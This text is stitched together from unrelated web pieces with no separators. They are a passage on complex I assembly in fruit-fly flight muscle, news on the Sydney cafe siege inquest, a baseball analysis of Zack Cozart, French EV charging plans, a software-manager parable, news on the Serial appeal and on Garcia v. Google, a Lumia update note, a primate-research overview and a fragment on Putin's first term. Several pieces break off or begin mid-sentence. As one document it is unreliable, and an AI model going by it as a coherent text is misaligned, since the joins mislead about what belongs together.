Subsequently, another assembly intermediate consisting of some of the subunits in the membrane domain is formed. This assembly intermediate comprises part of the P module (i.e., partial P1) and is conjugated to the Q module to form an assembly intermediate that corresponds to the ∼550 kDa (formerly ∼650 kDa) assembly intermediate previously described in mammalian systems ( Figure 7 ). Although proteomic analyses of the assembly intermediate that accumulates in mhc>dNDUFS5and mhc>dNDUFV1thoraxes shows that all the dNDUFB subunits as well as dNDUFC1, dNDUFAB1, ND4, and ND5 subunits are present in the subcomplex (see Table S5 ), it is unlikely that all the membrane subunits are incorporated into the complex at this stage under normal (wild-type) conditions. We hypothesize that the accumulation of the membrane accessory subunits in response to genetic disruption of the matrix subunits may be a compensatory mitochondrial stress signaling mechanism impinging on the nucleus and resulting in a system that is poised to rapidly resume CI biogenesis if and when the missing matrix subunit becomes available. The accretion of the partial P module under conditions in which other components of the CI assembly machinery are impaired provides further evidence that the various modules of the complex (i.e., the Q, P, and N modules) are assembled largely independently of each other in vivo.
An assembly intermediate consisting of dNDUFS2, dNDUS3, dNDUFS7, dNDUFS8, and dNDUFA5 combined in essentially one step to form the Q module, which is anchored to the membrane by ND1. Subsequently, an independently formed subcomplex comprising membrane-associated subunits (partial P1) is conjugated to the Q module, and possibly other subunits, to form an assembly intermediate comprised of the Q module and part of the P module (Q + partial P2). This grows by the addition of more subunits to form a transient assembly intermediate of ∼700 kDa (Q + partial P3). We propose that dNDUFS5 is then incorporated at this step, to promote incorporation or stabilization of dNDUFA10. Subsequently, the transient ∼700 kDa assembly intermediate is rapidly converted to the ∼815 kDa assembly intermediate, consisting of the complete P and Q modules (Q + P). Finally, the N module is added to produce the CI holoenzyme.
We propose a model for CI assembly in Drosophila flight muscles in which dNDUFS2, dNDUFS3, dNDUFS7, dNDUFS8, and dNDUFA5 are combined in essentially one step to form the Q module, which is anchored to the membrane by dND1 ( Figure 7 ). This assembly intermediate corresponds to the assembly intermediate in mammalian systems that was previously referred to as the ∼400 kDa subcomplex but has recently been re-estimated as the ∼315 kDa subcomplex (). This is consistent with the observation that assembly intermediates containing dNDUFS2, dNDUFS3, dNDUFS7, dNDUFS8, and dNDUFA5 co-migrate in blue native gels ( Table S2 ) and that immunoblotting with both anti-ND1 and anti-NDUFS3 detects the ∼315 kDa assembly intermediate ( Figure 3 C).
We cut out the region of the gel corresponding to the stalled assembly intermediate in the wild-type, mhc>dNDUFS5, and mhc>dNDUFV1thoraxes ( Figure 6 A) and used label-free quantification of peptides to ascertain which subunits and possibly assembly factors were altered between the two samples. Several components of the ETC machinery were downregulated, but there was a dramatic increase in CI subunits that are part of the distal membrane domain (i.e., all the dNDUFB subunits as well as dNDUFAB1, dNDUFC2, ND4, and ND5) ( Figures 6 B and 6C; Table S5 ). We note that there was no obvious accumulation of this assembly intermediate in blue native or silver-stained gels when any of these subunits (i.e., the dNDUFB subunits or NDUFAB1 and NDUFC2 subunits) were disrupted ( Figures 2 A and 2B). Notably, many of these membrane-associated subunits were present in the corresponding gel slice from the wild-type samples (although at lower levels). All the components of the MCIA complex (i.e., dECSIT, dNDUFAF1, dACAD9, dTMEM126B, and dTIMMDC1) were also found associated with this assembly intermediate. Based on current assignments of the various CI subunits, this assembly intermediate is clearly the distal portion of the membrane arm ().
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event.
Eighteen people were taken hostage.
The stand-off at the cafe in Martin Place in Sydney's business district on 15 December led to a massive police operation and the shutdown of a large part of the city centre.
At the opening of the coroner's inquest in Sydney, Jeremy Gormly, the lawyer assisting the state coroner, said Ms Dawson was "struck by six fragments of a police bullet or bullets which ricocheted from hard surfaces into her body".
Media playback is unsupported on your device Media caption Lawyer Jeremy Gormly: "Ms Dawson was struck by six fragments of a police bullet or bullets"
"I will not detail the damage done to Ms Dawson other than to say that one fragment struck a major blood vessel. She lost consciousness quickly and died shortly afterwards."
Australian media reports earlier this month had indicated that Ms Dawson, a 38-year-old barrister and mother of three young children, had died after being hit in the heart and shoulder by fragments from a police bullet.
Bomb claim
The inquest heard that Monis entered the cafe on the morning of 15 December with a sawn-off shotgun hidden in a plastic bag.
He ordered chocolate cake and tea, and asked to speak to the manager, Mr Johnson. After ordering Mr Johnson to lock the cafe, he announced: "This is an attack. I have a bomb."
Image copyright AFP Image caption Police entered the cafe after one of the hostages was shot dead, the inquest heard
Later that morning, Monis ordered Mr Johnson to phone Australia's emergency number.
He ordered the cafe manager to say that Australia was under attack from Islamic State militants and that Monis had planted radio-controlled bombs around the busy Sydney tourist precinct, Circular Quay, and Martin Place - none of which was true.
What the inquest wants to know
How Tori Johnson and Katrina Dawson were killed
How police managed the siege, and what protocols they used, and how they managed hostages and the families during and after the siege
Details of Monis's political associations and public activity, his religious claims, his criminal history, his media profile and his personal relationships
How Monis was out on bail, particularly over the charges concerning the murder of his ex-wife.
Siege inquest: Key transcript extracts
A number of hostages managed to escape as the siege went on, then at 02:00 local time on 16 December, special police stormed the cafe after a police marksman saw Monis shoot the kneeling Mr Johnson in the back of the head.
Earlier unconfirmed reports in the Australian press had said Mr Johnson was shot while trying to disarm Monis, but this was not mentioned by the coronial report.
The inquest heard that Monis was killed instantly when police entered the cafe. At least two police bullets hit him in the head and 11 other bullets or fragments struck his body. The police used stun grenades, known as flash bangs, as they went in.
Image copyright EPA Image caption Man Haron Monis was facing a range of criminal charges at the time of the siege
Monis fired five shots during the entire siege, the inquest heard.
The first shot was directed at hostages as they fled the scene. He then shot Mr Johnson. The other bullets were fired when police stormed the cafe. Monis was later found to have had 21 more cartridges in his pocket.
'Horrifying events'
Monis, who came to Australia as a refugee from Iran, had a history of religious activism and was on bail at the time of the siege for dozens of sexual assault charges and for being an accessory to the murder of his ex-wife.
He claimed to be a cleric and asked his hostages to display an Islamic flag during the siege. However, questions remain about whether he had any links to international militant networks.
His partner Amirah Droudis, who is also facing murder charges over his ex-wife, will be represented at the inquest.
Image copyright Reuters Image caption People were evacuated from buildings nearby as the siege brought parts of central Sydney to a standstill
"Rarely have such horrifying events unfolded so publicly," New South Wales coroner Michael Barnes told the court. "These events have precipitated an outpouring of emotion, anguish, anger, resentment and despair."
Outside court, one of the surviving hostages, 82-year-old John O'Brien said: "It's been very upsetting for Tori Johnson's family."
Six of Mr Johnson's family members attended the session. None of Ms Dawson's family were present.
The inquest has now adjourned. A date has yet to be announced for the next hearing. All the surviving hostages are expected to give evidence.
Meanwhile other investigations into the siege are continuing, including a joint federal and New South Wales state government review of why Monis was given asylum and eventually citizenship in Australia and why he was granted bail in 2013.
How the 16-hour Sydney siege unfoldedRemember when it was reasonable to debate whether Zack Cozart’s offense was so poor that the Reds couldn’t afford to keep him in their lineup? He was a poor offensive player in 2012 and 2013, but his 55 wRC+ was the worst among qualified players in 2014. Basically, he may have been the worst offensive player in baseball that season. And he drove me crazy, but no one seemed to care about that.
Fast forward to the present, and Cozart doesn’t even resemble that player. The guy who never hit.255 over an entire season has been over.300 for most of the year. His career high OBP was.288 in 2012 but currently stands at.332. The biggest difference in results, though, comes from Cozart’s considerable uptick in power. In Cozart’s first three seasons, he never slugged better than.399. Right now, he’s slugging.532 and may represent the Reds in the All Star game.
His impressive play puts the Reds in a difficult situation: should they trade him or try to sign him to a reasonable extension? This predicament resembles the Jay Bruce issue except that Bruce had a longer track record of success before struggling the last two years. But for over 400 plate appearances between 2015 and 2016, Cozart has hit like a top five to seven shortstop in all of baseball.
Cozart’s vast improvement began with watching video. After his disaster of a season in 2014, Cozart took to the film room and apparently found a mechanical error in his swing. He made the appropriate changes and last season slugged.459 while posting a 104 wRC+ in 214 plate appearances. Before we could see whether Cozart could sustain his hot start, he suffered a knee injury that required season-ending surgery.
I certainly didn’t think Cozart would pick up where he left off after rehabbing a shredded knee. But he’s been even better. Is this real? Has Cozart really become a top three shortstop in the National League? The underlying numbers may help answer this question and give us some clue as to whether the Reds should sell high or buy in for more.
First, here is a table comparing Cozart’s batted ball data from his first three full seasons with his last two (2015-2016).
Cozart’s success has largely come from been hitting the ball harder. That jives well with the eye test. In fact, in 2016, he has a Hard% of 33.3%, much higher than his career mark (24.6%). Hitting the ball harder is obviously better than the alternative, but the other numbers are promising as well. Groundballs are the worst batted ball type because they rarely go for hits, let alone extra-base hits. They have become even less productive since teams started shifting drastically.
Cozart has decreased his GB% significantly while increasing both his LD% and FB%. Batters typically hit between.650 and.700 on line drives, and Cozart’s LD% is over 24% in 2016, likely contributing to both an elevated BABIP (.306) and his impressive batting average. As we will see shortly, he needs to hit for a high average to get on base at a reasonable clip.
Another large change between Cozart’s poor offensive seasons and the last 400+ plate appearances is that he has doubled his rate of homeruns per fly ball.  After hitting only four homeruns in 2014, he was on pace for around 30 homeruns in 2015 before his injury. He is on a similar pace now. Last season, Brandon Crawford led all shortstops with 21 homeruns, so if Cozart hits between 25-30, he will be in elite company.
Players who see this kind of production increase have often improved their plate discipline. In Cozart’s case, his swing and contact rates have remained incredibly stable over his career, and he does not walk much at all, meaning all of his on base ability comes from his batting average.  However, Cozart has cut down his strikeout rate in every season from a career high 18.8% in 2012 to a solid 12.9% currently.
The numbers suggest that Cozart may have indeed fixed some type of mechanical error. For 416 plate appearances, he has hit more lines drive and the ball harder in general, greatly increased his power, and struck out less. Those factors indicate an improved player.
Even if Cozart regresses to a roughly average player, a pretty steep decline from where he is currently, his defense makes him an above-average player at the least. It made sense to question whether Cozart could return to his defensive wizardry after major knee surgery, but he has shown no ill effects thus far.
All of this Cozart goodness combines for the third most WAR among shortstops in the National League (1.8). A top three shortstop is a good thing to have, but of course, there are other factors to consider when deciding whether to trade or extend him.
Cozart turns 31 in August, traditionally an age when players, especially middle infielders start to really decline. The Reds have control of him through the 2017 season, so an extension may not kick in until 2018 when he will turn 33. That’s a dangerous extension.
The decision really hinges on when you think the Reds can compete and whether you believe that either Jose Peraza or Eugenio Suarez + the prospects from a Cozart trade outweigh the production Cozart will give over the next 3-5 seasons.
While Suarez has struggled at third base, he showed some potential at shortstop before being moved, and frankly, while I believe in the bat to a certain extent, he hasn’t exactly proven he can have prolonged success at this level.
He currently own a career 97 wRC+ with a.258/.310/.416 slash line in roughly 900 Major League plate appearances. He turns 25 in July, so he has some time to figure things out.
If Suarez could play close to average defensively at the position, the bat likely plays. I understand that he has often impersonated Pele at third this year, but struggling at third doesn’t necessarily mean he would be a bad shortstop. Range has not been his issue. Still, Suarez does not inspire much confidence on defense right now.
Peraza has started most of his games in AAA this season at shortstop, which would seem to portend his role in the Major Leagues. Scouts think he would be excellent at second but that he has potential to handle shortstop as well. As far as his hitting ability, he has zero power, but Baseball Prospectus does have this to say:
His feel for the barrel is outstanding, and he consistently makes hard contact thanks to his hand-eye coordination and a compact, quick stroke. The hit tool could be plus if took more pitches and worked more counts, but he doesn’t, so it isn’t.
Peraza’s.301/.340/.386 slash line in the minor leagues fits this description to a tee. He may hit for an excellent average, but he doesn’t have elite on base skills and possesses almost no power. He does have outstanding speed that could boost his value if he can manage to get on base enough.
So encouraging. Or discouraging. I can’t decide. The reality is that Peraza has a regular job waiting on him somewhere, and it will likely happen in the near future. Because Phillips isn’t going anywhere, and Billy Hamilton has suddenly figured out what a bat is used for, shortstop would seem to be the place for Peraza.
Trading Cozart now is likely selling high and would bring a pretty good prospect or two in return. Not elite prospects but something useful for a rebuilding club. An extension of three years or so probably wouldn’t break the bank, and the Reds may get an above-average player or better. These are the tough decisions that rebuilding clubs need to make. Hopefully, the Reds choose wisely.Build It And They Will Come
Electric cars and charging stations go together, but there's a kind of chicken & egg problem; who's going to build charging stations along highways and public roads if there are no electric cars, and who's going to buy a electric car if there are no charging stations? The French government seems to have decided that the way to crack this dilemma is to build a network of charging stations using taxpayer money as part of a broader initiative to encourage the development of clean vehicle technology and battery manufacturing in the country.
Charging Sockets to Become Obligatory in Office Parking Lots
€1.5 billion (about $2.2 billion) will be spent by France on the network of EV charging stations, but also "the government will make the installation of charging sockets obligatory in office parking lots by 2015, and new apartment blocks with parking lots will have to include charging stations starting in 2012."
Via Wall Street Journal
More Electric Cars
Tesla Model S to Have Kids! Electric Minivan, Crossover SUV, and Utility Van
Pininfarina-Bolloré Bluecar EV Confirmed for June 2010
Volvo to Make Plug-in Diesel Hybrid Car in 2012
More Charging Stations
SolarCity Announces Sun-Powered EV Fast-Charging Stations in California
Brazil to Build Solar-Powered Charging Stations for Electric VehiclesWe have assigned a product manager to discuss IBM WebSphere Portal integration with your technical lead. And the VP of Marketing needs to talk to you. We have made a commitment to all-singing, all-dancing web services and he needs a forty-minute presentation explaining how your project will be implemented with web services throughout. You look pale. Is there a problem?
A software manager is brought into a doomed project. It is hopelessly behind, the requirements have changed so often they are now kept on a white board instead of in a document, and the office is wallpapered with Dilbert cartoons. She’s replacing the previous manager, who has resigned.When she gets to her new office, her predecessor is clearing out her desk. “I’ll only be a minute. By the way, I left you something” says the old manager before leaving. After the predecessor leaves, the new manager has a look around, and discovers two envelopes in the top drawer of the desk. The first envelope is labeled “Open when in trouble.” The second is labeled “Open when in even more trouble.”Well, she researches anti-patterns in software project management, has a look around, talks to everyone, identifies the key players, and goes to management with a clear explanation of what the problems are, what’s realistic to achieve, and what needs to be done. To her surprise, management seems to go along with things and tells her to make whatever changes she needs. She institutes daily builds, stand up meetings, rapid iterations, and starts tracking velocity. Two months later, at the quarterly review, she presents her progress. The team is producing at 200% of the previous rate, morale is up, and they’re going to get 80% of the previous functionality done with less than 90 days of slip off the impossible schedule.There is silence, then management tells her that this is unacceptable. Sure, they agreed she could institute change. That’s her job. However they did not approve any compromise in scope or delivery date. This is a competitive business, and there are thousands of qualified managers looking for a job who can come in and get things done. Does she want to admit she can’t do her job?She goes back to her office in a quandary, then remembers the first envelope. Wordlessly, she opens it, and inside there is a three by five card inscribed: Blame Me.She goes back to management a day later with a powerpoint emphasizing how the project was way off track, how the architecture was fubar, how morale was poor, and how requirements were incorrectly documented. She doesn’t blame the previous manager directly, but she does identify various management techniques and “best practices” that were not enforced prior to her joining the project. She says she will work the team to hit the date, but she demonstrates how commitments made by the previous manager were done without actually checking to see whether the team could deliver or making any changes to actually hit the new dates. After some huffing and puffing, management buys off on delivering 80% of the promised functionality with a 45 day slip in the delivery date. Whew!Well, things go along quite well until two weeks before the original due date. Management calls her in and asks her to sit on the release planning board, there will be a major customer release in two weeks. She reminds them of the 45 day slip they negotiated.“No,” they tell her baldly, “We agreed on delivering 80% of the functionality on the original date and the remaining 20% of the functionality 45 days later in release 1.1. Furthermore, we are entering into a strategic agreement with IBM and have assigned a product manager to discuss IBM WebSphere Portal integration with your technical lead. And the VP of Marketing needs to talk to you. We have made a strategic corporate commitment to all-singing, all-dancing web services and he needs a forty-minute presentation explaining how your project will be implemented with web services throughout. You look pale. Is there a problem?” She leaves the meeting aghast.Well, it’s back to her office and she opens the second envelope with shaking hands. The advice on the card is of little comfort: Cercner gjb rairybcrf This story is often told about baseball manager Billy Martin. He managed the Yankees five different times, because he was prepared to be fired when things didn’t work out. The moral of the story: Do the very best you can. Do so because YOU want to do so, regardless of whether you will succeed or not. Regardless of how dysfunctional your organization is, hold your head up and stay true to your values. Give them at least two chances to change. Do what you can to help them change. But if they do not change, move on with dignity.Update: Someone suggested that the ability to quit your job is a luxury. I don’t like to use that word, because it suggests that the job itself is a luxury. It is possible that the pay cheque is a luxury, but for people who are engaged in their careers, the job is a necessity because their self-actualization depends on doing a good job. When you put it that way, the question becomes whether people have the luxury of remaining in a job where they don’t feel good about themselves and what they do.p.s. Yes, she’s actually a woman. Which is why I used the word “she.”Adnan Syed, Subject Of 'Serial' Podcast, Granted Appeal
Enlarge this image toggle caption Uncredited/AP Uncredited/AP
The subject of the popular public radio "Serial" podcast, who was convicted as a teenager 15 years ago in the murder of his ex-girlfriend, has been granted an appeal.
The Maryland Court of Special Appeals has granted the request for review from Adnan Syed, whose case has been examined in-depth in the podcasts, which raised questions about his guilt.
"It's the first step in a pretty long process but we're extremely happy," C. Justin Brown, Syed's attorney, told The Baltimore Sun.
The Sun reports that his appeal is scheduled to be heard in June. The newspaper says:
"Syed, now 33, is serving a life sentence in a Western Maryland state prison after being convicted in 2000 of killing his Woodlawn High School classmate and ex-girlfriend, Hae Min Lee, in January 1999. He appealed but his request was denied in Baltimore Circuit Court a few years ago. "Last year, Brown filed an application to get that denial vacated with the Maryland Court of Special Appeals. He argued that Syed had received ineffective counsel during trial from a lawyer who did not check out an alibi he had or listened to his pre-trial requests including seeing whether the state was offering him a plea deal."
The Washington Post adds that the appeals court's decision "allows Syed's lawyers to move forward with the appeals process. It overturns a Baltimore circuit court's decision in January to deny Syed's motion to appeal his conviction on the grounds that his attorney at the time, Christina Gutierrez, had been ineffective.
"Now new evidence could be brought to the surface, thanks in part to the popularity of the radio show," the Post adds.
Serial, a co-production of Chicago Public Radio's WBEZ and This American Life, launched in October and quickly attracted a cult-like following before wrapping up in December.Last week, inside a federal courthouse in Pasadena, California, Google tried to stop a ruling that could upend the entertainment industry. The case of Garcia v. Google Inc. was considered in an appeals court, in front of a panel of 11 judges. At issue: Innocence of Muslims, the controversial video uploaded to YouTube in 2012. The plaintiff, an actress in the film, argues that she holds a copyright to her performance, and has demanded that Google take the movie down. But Google says that if her lawsuit is taken seriously, then frivolous copyright claims will be used to constrain free speech and debilitate the internet companies that host it. With the court’s decision expected some time next year, both sides are girding for a ruling that could have significant consequences.
Cindy Lee Garcia’s role in the 2012 film Desert Warrior was supposed to be minor. After answering a casting call the previous summer, Garcia was paid $500 for what turned out to be five seconds of screen time. But it was hardly a bargain: She was cast for a movie that never materialized.
A video that spurred violent protests in almost 20 countries
Instead of acting in a "historical Arabian desert adventure film," as she had been promised, Garcia and the Desert Warrior cast had their dialogue redubbed by a producer. The result was a 14-minute, Islamophobic film trailer that came to be known as Innocence of Muslims, which portrayed the Prophet Muhammad as a belligerent, pedophilic dupe. (Garcia was originally cast to play a role as a mother; in the finished film, however, she appears to insinuate that Prophet Muhammad is a child molester.) In September 2012, the video was translated into Arabic and shared on YouTube. The clip’s antagonistic message spurred violent protests in almost 20 countries, including Egypt, Libya, and Tunisia. The uproar over Innocence of Muslims was even initially linked to the killing of US Ambassador J. Christopher Stevens, and has served as a crucial talking point for the Republican Party’s irrational fixation on an Obama-led Benghazi conspiracy. An Egyptian cleric issued a fatwa against every person involved with the film. Fearing for her life, Garcia sought protection in, of all things, copyright law.
Garcia sued the film’s producer, Nakoula Basseley Nakoula, as well as YouTube and its parent company, Google, in an attempt to have Innocence of Muslims taken down. While service providers like YouTube aren’t held responsible for the kind of deception that Nakoula engaged in, they are on the hook for misappropriating intellectual property. This helps explain Garcia’s curious legal strategy.
A novel interpretation of copyright law
To compel YouTube to get rid of the video, and to protect her from the death threats, Garcia had to fashion her possible allegations of libel and fraud into a copyright claim. She argued that her performance amounted to an independent work of authorship, a copyright upon which Google was infringing. The court denied her request. But the Ninth Circuit Court of Appeals sided with Garcia, in a 2–1 decision, and ordered Google to take the video down. Concerned with the court’s interpretation of copyright law and the demands it might impose on internet companies, Google asked the Ninth Circuit — whose jurisdiction includes both Hollywood and Silicon Valley — to rehear the case with a full panel of judges.
In oral arguments on Monday, Google’s counsel stressed the ramifications of upholding this expansive understanding of copyright. Under the DMCA, copyright holders can urge internet companies to remove illegal content by submitting takedown requests. If, as Garcia argues, one’s performance merits its own copyright claim, a slew of newly legitimate takedown requests might inundate the web’s media platforms. Not only would this jeopardize the viability of smaller film studios and content hosts, it would also restrict free speech. It could invite other claims of copyright that exist solely to suppress information, rather than to protect creative work.
Several judges seemed skeptical of Garcia’s copyright claim. "Take the battle scenes, for example, in The Lord of the Rings. In your view does every single person who made a cameo in the battle scenes have a copyright interest in their performance as fixed in the film?" Judge M. Margaret McKeown asked the plaintiff.
On the other side, Google’s lawyer was needled incessantly by judge Alex Kozinski, who ruled against Google in the previous appeal. Kozinski challenged Google to show why actors like Garcia shouldn’t hold a copyright in their performances.
I spoke to Corynne McSherry, Intellectual Property Director at the Electronic Frontier Foundation, who filed a brief joined by the ACLU and others in support of Google. McSherry told me that Garcia’s copyright claim is ultimately unpersuasive. "A five-second performance responding to the direction of somebody else in a much larger video does not give you a copyright interest in that work," McSherry explained. "Copyright law is vague enough, but not that vague."
"Copy right law is vague, but not that vague."
McSherry said this issue goes back to the Constitution, which grants Congress power to secure exclusive rights to artists and inventors. Copyright claims have always involved someone doing something creative tied to a tangible work, rather than a minor recital of a line, or something more inchoate. "There can be circumstances where an actor might exercise sufficient creative control and that person might have a copyright interest," McSherry said. "So it’s not to say that an actor can never have a copyright interest in the work, but this isn’t one of them."
Michael Page, a partner at the law firm Durie Tangri and counsel for Netflix, told me that even if Garcia did enough creative work to be considered a joint author, she would still share authorship with Nakoula, who would be free to post her performance on YouTube. Using Garcia’s theory, Page said, any actor, no matter the insignificance of their role, might be granted unprecedented power over producers, studios, and distributors in a way we’d consider unfair. "You have a heckler’s veto from anybody in the world who can basically censor the internet by sending a DMCA notice," Page said.
Garcia might have had an easier way to get the video taken down: Public Citizen filed a brief arguing that she could have sued the producer in state court, arguing fraud and unfair businesses practices. With a court order against Nakoula, she’d be able to petition Google to honor the removal of the wrongful content. Public Citizen believes Google would have complied. (Google temporarily blocked the video in Egypt and Libya out of concerns for violence, and restricted access in other countries including India and Indonesia, where the video violated local laws.)
Where Garcia’s opponents see censorship and a tedious meddling with their business model, her allies see a recognition of their work and worth. "Each actor adds something new to the character she performs … the actor imbues the character with originality," the Screen Actors Guild and other entertainment groups argued in a brief. And in this originality, however small, lies a copyright claim. The brief goes on to describe the different actorly interpretations of Batman: how Christian Bale’s Bruce Wayne was different from George Clooney’s. (The brief did not mention the nipples on the batsuit.)
Is five seconds on screen enough to deserve a copyright?
While Garcia appears only momentarily in Innocence of Muslims, the entertainment groups point out that her script was over five pages. By industry standards, this amounts to about five minutes of screen time, had her full performance been used. Garcia worked for three and a half days, according to court documents. SAG and others contend that the five seconds of screen time is enough to merit a copyright. "Some of the most memorable film performances are ones that were exceptionally short," states the brief. The legal document invites us to consider Clint Eastwood’s Dirty Harry line: "So you gotta ask yourself this question: ‘Do I feel lucky?’ Well, do ya, punk?’ It asserts that while this scene was part of Eastwood’s larger performance, this particular line was made memorable by the actor. Thus, even fleeting performances — such as Garcia’s — could be separately copyrightable. (I would like to see a short performance where a lawyer from SAG restates this analogy with a straight face.)
Google’s opponents believe the company could easily sort through any increase in copyright notices using its sophisticated, automated systems. But it’s not clear that other video hosting platforms have the same capabilities, or whether independent filmmakers will be able to comply with the new rules.
It’s hard to imagine the dread that emerges from a flurry of death threats. Or the anxiety of seeing your own image, clumsily edited, mouthing out words you have never spoken. But Garcia wants to use the ownership rights of her performance as a shield. She wishes to harness the power granted to authors as a workaround to coerce Google, to alter a record of history she disputes. The Ninth Circuit shouldn’t use the unfortunate facts of her situation to create a new kind of intellectual property, where extras and bit parts carry the creative status of author. The court may soon cite a dubious copyright to silence protected speech. We should hope they don’t.We have received a number of tips from U.S. and Canadian Lumia 950 XL owners that those phones are getting a new OTA firmware update. This appears to be the same one that Microsoft started rolling out earlier in July.
As we reported, this update includes the return of the "double tap to wake" feature, along with a fix for recurring Wi-Fi disconnections. Here is the full changelog posted by Microsoft:
Wi-Fi connectivity improvements, including fixes for Wi-Fi connection dropping randomly and Wi-Fi scan occasionally not returning any results.
Support for double tap to wake enabled.
Bluetooth connectivity improvements.
Stability and reliability improvements.
Camera improvements, including improved image and video quality, improved Auto-focus and fix for a problem that was causing slow motion capture to skip frames for some users.
Cellular connectivity improvements, including fix for a problem that caused occasional network loss for some users.
Audio quality improvements, including fix for a problem that caused voice call audio to get scrambled for some users.
To see if your phone is getting this update, go to Settings > Update & security > Phone update > Check for updates. If eligible you will see MICROSOFTMDG update. This rollout appears to be just for Lumia 950 XL owners, and not for Lumia 950 users in North America. It's likely those phones will get this update during another rollout.
Thanks to Michael, "Chilly Willy", Praveen, and Demitrius for the tips!
This post may contain affiliate links. See our disclosure policy for more details.Health research with nonhuman primates takes place at many universities and research institutions in the US, among them centers funded by the National Institutes of Health (NIH). A broad range of research aimed at better understanding maternal and child health takes place at these centers and depends, in part, upon humane, ethical scientific studies of infant monkeys.
A sample of the research areas and findings are highlighted below and provide a view of the value of developmental research. What even a short list shows is that the scope of scientific and medical research that informs pediatric health issues is large. It ranges from autism to childhood diabetes to leukemia to mental health to stem cell therapies.
Together, the findings from studies of infant monkeys have resulted in a better understanding of prenatal, infant, child, and maternal health. The scientific research has resulted in basic discoveries that are the foundation for a wide range of clinical applications and have also improved outcomes for premature and critically ill human infants.
Studies of monkeys are a tiny fraction of all animal studies and are only conducted when studies of fish, mice, rats, or other animals are not sufficient to address the scientific question. Like all nonhuman animal studies, those of young monkeys are subject to rigorous ethical evaluation by scientists, by federal review panels, and institutional review boards that include veterinarians and members of the public.
The decision to conduct a study in nonhuman animals is one that rests on weighing both the potential benefit the work may provide and any potential for harm. The research below provides many specific examples of how and why the studies are conducted and their benefit. For each and every study, scientists, review panels, and ethics boards also consider the potential for harm that may result to the nonhuman animals that are involved. Whether there are any alternatives to the animal study is a requirement of the US system for ethical review and oversight. If there is no alternative, reduction in potential for harm is explicitly addressed not only by a set of standards for animal care, housing, handling, environmental enrichment, and medical care, but also by including only the number of animals needed to answer the scientific question. (You can read more about the review process, regulation, and care standards here and here).
Like other studies of nonhuman animals, those in young animals require serious and fact-informed ethical consideration. At the most fundamental level they challenge us to evaluate how we should balance work that ultimately can help children, the harm that may result from a failure to act, potential harm to animals in research. Consideration of how to balance the interests of children, society, and other animals is not an easy task. Nor is it one that is well-served by simple formulations.
Primate studies of early development have, and continue, to contribute valuable new insights and discoveries that improve the health and lives of many. The examples below, from NIH-funded research programs across the US, demonstrate how the work contributes to public health.
Sources: National Primate Research Centers Outreach Consortium. For more information about the NPRCs, see: http://dpcpsi.nih.gov/orip/cm/primate_resources_researchers#centers
EXAMPLES OF PEDIATRIC RESEARCH WITH MONKEYS
Autism
In a major advance, California National Primate Research Center (CNPRC) research defined a link between maternal auto-antibodies and increased risk of a child having autism (http://www.cnprc.ucdavis.edu/maternal-antibodies-linked-to-autism/ )
Research at the CNPRC has focused on oxytocin and vasopressin in social bonding and male parental care, as well as on the effects of early experiences on the development of these behaviors. Studies have begun on the long-term effects of oxytocin; a new treatment is already being used in children with autism without an understanding of the long-term effects. (http://www.cnprc.ucdavis.edu/unknown-effects-of-long-term-oxytocin-use-in-children/)
Using an innovative approach to imaging the brain, scientists at the CNPRC have significantly enhanced our understanding of the etiology of autism by mapping the location of receptors for oxytocin, a hormone that is linked with social behavior. http://www.cnprc.ucdavis.edu/improving-models-to-understand-the-etiology-of-autism/
CNPRC scientists have shown that monkeys exposed to a maternal mock infection in utero exhibit signs of inflammation within the brain four years later, which is a response that is similar to that observed in human patients with schizophrenia and autism. Nonhuman primate models are essential for understanding the effects of maternal inflammation during pregnancy, as they provide critical information on individual susceptibility and vulnerability of specific gestational time points. http://www.cnprc.ucdavis.edu/mothers-immunity-linked-to-brain-inflammation/
Cerebral Palsy
One outcome of premature birth and accompanying brain injury can be Cerebral Palsy (CP). To date, studies at the Washington National Primate Research Center’s (WaNPRC) Infant Primate Research Laboratory (IPRL) have described the metabolome of normal birth and discovered new acute biomarkers of acute hypoxia‐ This multi‐modal approach will increase the likelihood of identifying reliable biomarkers to diagnose the degree of injury and improve prognosis by tracking the response to treatment after neonatal brain injury. (http://www.ncbi.nlm.nih.gov/pubmed/22391633, http://www.ncbi.nlm.nih.gov/pubmed/21353677)
Childhood Leukemia
Wisconsin National Primate Research Center (WNPRC) scientists James Thomson and Igor Slukvin turned diseased cells from a leukemia patient into pluripotent stem cells, providing a way to study the genetic origins of blood cancers as well as the ability to grow unlimited cells for testing new drugs for chronic myeloid leukemia, childhood leukemia and other blood cancers. (http://www.news.wisc.edu/18933 and http://www.ncbi.nlm.nih.gov/pubmed/21296996)
Diabetes and Childhood Obesity
Normal and obese marmosets were followed by Suzette Tardif at the Southwest National Primate Research Center (SNPRC) from birth to 1 year. At 6 months, obese marmosets already had significantly lower insulin sensitivity and by 12 months, they also had higher fasting glucose, demonstrating that early-onset obesity in marmosets resulted in impaired glucose function, increasing diabetes risk. (http://www.ncbi.nlm.nih.gov/pubmed/23512966)
Infant marmosets were followed by |
57][58] This ensured that "corruption charges against the outgoing President and his relatives" would not be pursued, although this claim is not strictly verifiable.[clarification needed][59] Later, on 12 February 2001, Putin signed a federal law on guarantees for former presidents and their families, which replaced the similar decree.
While his opponents had been preparing for an election in June 2000, Yeltsin's resignation resulted in the Presidential elections being held within three months, on 26 March 2000; Putin won in the first round with 53% of the vote.[60]
First Presidential term (2000''2004)Vladimir Putin was inaugurated president on 7 May 2000. He appointed Minister of FinanceMikhail Kasyanov as his Prime minister. Having announced his intention to consolidate power in the country into a strict vertical, in May 2000 he issued a decree dividing 89 federal subjects of Russia between 7 federal districts overseen by representatives of his in order to facilitate federal administration.
During his first term in office, he moved to curb the political ambitions of some of the Yeltsin-era oligarchs such as former Kremlin insider Boris Berezovsky, who had "helped Mr. Putin enter the family, and funded the party that formed Mr. Putin's parliamentary base", according to BBC profile.[61][62] At the same time, according to Vladimir Solovyev, it was Alexey Kudrin who was instrumental in Putin's assignment to the Presidential Administration of Russia to work with Pavel Borodin,[63] and according to Solovyev, Berezovsky was proposing Igor Ivanov rather than Putin as a new president.[64][65]
Between 2000 and 2004, and ending following the Yukos-affair, Putin apparently won a power-struggle with the oligarchs, reaching a 'grand-bargain' with them. This bargain allowed the oligarchs to maintain most of their powers, in exchange for their explicit support - and alignment with - his government.[66][67]
A new group of business magnates, such as Gennady Timchenko, Vladimir Yakunin, Yuriy Kovalchuk, Sergey Chemezov, with close personal ties to Putin, also emerged.
